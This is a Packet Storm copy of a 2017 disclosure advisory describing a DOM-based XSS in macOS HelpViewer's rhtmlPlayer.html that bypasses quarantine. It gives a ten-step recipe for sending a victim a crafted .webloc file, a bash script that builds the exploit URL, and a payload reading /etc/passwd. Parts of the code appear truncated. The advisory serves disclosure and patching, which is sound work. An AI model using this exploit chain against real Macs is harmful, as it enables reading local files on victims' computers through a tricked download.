exploit the possibilities

Mac OS X Local Javascript Quarantine Bypass

Mac OS X Local Javascript Quarantine Bypass
Posted Sep 30, 2017
Authored by Filippo Cavallarin

Mac OS X contains a vulnerability that allows the bypass of the Apple Quarantine and the execution of arbitrary Javascript code without restrictions.

tags | exploit, arbitrary, javascript
systems | apple, osx
MD5 | 7f3e94a8e7dafebd1c8b7b6ad3c50ead

Mac OS X Local Javascript Quarantine Bypass

Change Mirror Download
Advisory ID:           SGMA17-002
Title: Mac OS X Local Javascript Quarantine Bypass
Product: Mac OS X
Version: 10.12, 10.11, 10.10 and probably prior
Vendor: apple.com <http://apple.com/>
Type: DOM Based XSS
Risk level: 3 / 5
Credits: filippo.cavallarin@wearesegment.com <mailto:filippo.cavallarin@wearesegment.com>
Vendor notification: 2017-07-27
Vendor fix: 2017-09-25
Public disclosure: 2017-09-28


Mac OS X contains a vulnerability that allows the bypass of the Apple Quarantine and the execution of arbitrary
Javascript code without restrictions.

Basically, Apple's Quarantine works by setting an extended attribute to downloaded files (and also to files
extracted from downloaded archive/image) that tells the system to open/execute those files in a restricted
environment. For example, a quarantined html file won't be able to load local resources.

The vulnerability is in one html file, part of the Mac OS X core, that is prone to a DOM Based XSS allowing the
excution of arbitrary javascript commands in its (unrestricted) context.

The mentioned file is located at /System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html
and contains the following code:

<script type="text/javascript" charset="utf-8">


function init () { /* <-- called by <body onload="init()" */

rHTMLPath = urlParam("rhtml"); /* <-- takes 'rhtml' parameters from current url */


self.contentHttpReq.open('GET', rHTMLPath, true);
self.contentHttpReq.onreadystatechange = function() {
if (self.contentHttpReq.readyState == 4) {

function loadTutorial(response) {
var rHTMLPath = urlParam("rhtml");

// this will create a tutorialData item

function loadLocStrings()
var headID = document.getElementsByTagName("head")[0];
var rHTMLPath = urlParam("rhtml");

rHTMLPath = rHTMLPath.replace("metaData.html", "localizedStrings.js");
var newScript = document.createElement('script');
newScript.type = 'text/javascript';
newScript.src = rHTMLPath;

In short, it takes an url from the "rhtml" query string parameter, makes a request to that url and evaluates
the response content as javascript code.

The code below contains two different DOM Based XSS.
The first is in the loadLocStrings() function that creates a SCRIPT element and uses the "rhtml" parameter as
its "src" property.
The second is in the init() function that uses the "rhtml" parameter to make an ajax call and then passes the
response directly to eval().
As the result the same payload is executed twice.

An attacker, by providing a data uri, can take control of the response and thus what gets evaluated.

One possile vector of exploitation are the .webloc files. Basically those files contain an url and they simply loads
it in Safari when opened.
By crafting a .webloc file and by tricking a victim to open it, an attacker can run privileged javascript commands on
the victim's computer.
Due to the fact that .webloc files also use an extended attribute to store data, they must be sent contained in a tar
archive (or any other format that supports extended attributes).


To reproduce the issue follow the steps below:
1. create a javascript file you want to execute on your target
2. convert its content to base64
3. encode it to a "uri component" (ex with encodeURIComponent js function)
4. use it to build a data uri as follow:
data:text/plain;base64,<urlencoded base64>
5. prepend the following string to it:
file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml= <file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml=>
6. open it with Safari
7. save it as a bookmark
8. drag the bookmark to the Finder (a .webloc file is created, if the extension is not .webloc, rename it)
9. create a tar archive containing the .webloc file
10. send it to the victim

Note that due to the behaviour of rhtmlPlayer.html, in order to access local resources, the first line of the
javascript code must be: document.getElementsByTagName("base")[0].href="";

The following bash script will take a javascript file and converts it to final "file" url:

BASEURL="file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml= <file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml=>"
BASEJS="(function(){document.getElementsByTagName('base')[0].href='';if('_' in window)return;window._=1;"


if [ "$JSFILE" = "" ]; then
echo "usage: $0 <jsfile>"
exit 1

JS=$BASEJS`cat $JSFILE`"})();"
ENCJS=`echo -n $JS | base64 | sed 's/=/%3D/g' | sed 's/+/%2F/g' | sed 's/\//%2B/g'`

echo -ne "Paste the url below into Safari's url bar:\n\033[33m$URL\033[0m\n"

The following javascript code will alert the /etc/passwd file on the victim's computer:
xhr = new XMLHttpRequest();
xhr.open("GET", "/etc/passwd", true);
xhr.onreadystatechange = function(){
if (xhr.readyState == 4) {

Note that only Safari will successfully load local resources via ajax (Chrome and Firefox won't). In this
exploitation process it's not an issue since .webloc files are always opened with Safari.


This issue has been silently fixed in Mac OS X High Sierra and (at time of writing) there is no mention of this
bug in Apple's changelog.
No CVE has been assigned by Apple.


Upgrade to Mac OS X High Sierra or simply remove rhtmlPlayer.html


https://www.wearesegment.com/research/Mac-OS-X-Local-Javascript-Quarantine-Bypass.html <https://www.wearesegment.com/research/Mac-OS-X-Local-Javascript-Quarantine-Bypass.html>
https://youtu.be/1jesuZXfMjI <https://youtu.be/1jesuZXfMjI>


This vulnerability has been disclosed thru Securiteam Secure Disclosure program: http://www.beyondsecurity.com/ssd <http://www.beyondsecurity.com/ssd>


RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    24 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    7 Files
  • 4
    Oct 4th
    4 Files
  • 5
    Oct 5th
    10 Files
  • 6
    Oct 6th
    1 Files
  • 7
    Oct 7th
    21 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    5 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    17 Files
  • 12
    Oct 12th
    4 Files
  • 13
    Oct 13th
    4 Files
  • 14
    Oct 14th
    15 Files
  • 15
    Oct 15th
    19 Files
  • 16
    Oct 16th
    19 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2019 Packet Storm. All rights reserved.

Security Services
Hosting By